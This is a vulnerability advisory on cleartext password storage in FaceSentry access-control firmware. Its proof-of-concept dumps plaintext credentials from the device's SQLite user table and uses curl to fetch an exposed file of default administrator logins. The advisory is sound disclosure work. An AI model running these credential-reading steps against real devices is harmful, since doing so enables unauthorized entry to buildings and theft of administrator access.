FaceSentry Access Control System 6.4.8 Cleartext Password Storage


Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
                  Firmware 5.7.2 build 568 (Algorithm A14)
                  Firmware 5.7.0 build 539 (Algorithm A14)

Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.

Desc: The credentials used for accessing the web front end are
stored unencrypted on the device in /faceGuard/database/FaceSentryWeb.sqlite.

Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
           Linux 3.4.113-sun8i (armv7l)
           PHP/7.0.30-0ubuntu0.16.04.1
           PHP/7.0.22-0ubuntu0.16.04.1
           lighttpd/1.4.35
           Armbian 5.38
           Sunxi Linux (sun8i generation)
           Orange Pi PC +


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5529
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5529.php


28.05.2019

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$ sqlite3 FaceSentryWeb.sqlite
SQLite version 3.14.2 2016-09-12 18:50:49
Enter ".help" for usage hints.
sqlite> .tables
TPermission                            
TUserFunctionPermissionGroup           
TUserFunctionPermissionGroup_Permission
TWebUser                               
sqlite> select * from TWebUser;
administrator|Default Sys. Admin|Admin|123456|Eng|Active|administrator|2019-05-28 11:03:57
user|Defalt Sys. User|UserGrp|123|Eng|Active|administrator|2013-01-01 00:00:00
admin||Admin|123|zh-TW|Active|administrator|2015-11-23 03:28:10
sqlite> .q

$ curl http://192.168.11.1/database/insert_db.txt
Insert into TWebUser(fUserID,fUserFunctionPermissionGroupID,fUserPassword,fUserLanguage,fStatus) VALUES('administrator','Admin','123456','Eng','Active');

Insert into TUserFunctionPermissionGroup (fUserFunctionPermissionGroupID,fUserFunctionPermissionGroupDescription) VALUES('Admin','Administrator');

--phpinfo()--
http://192.168.11.1/info.php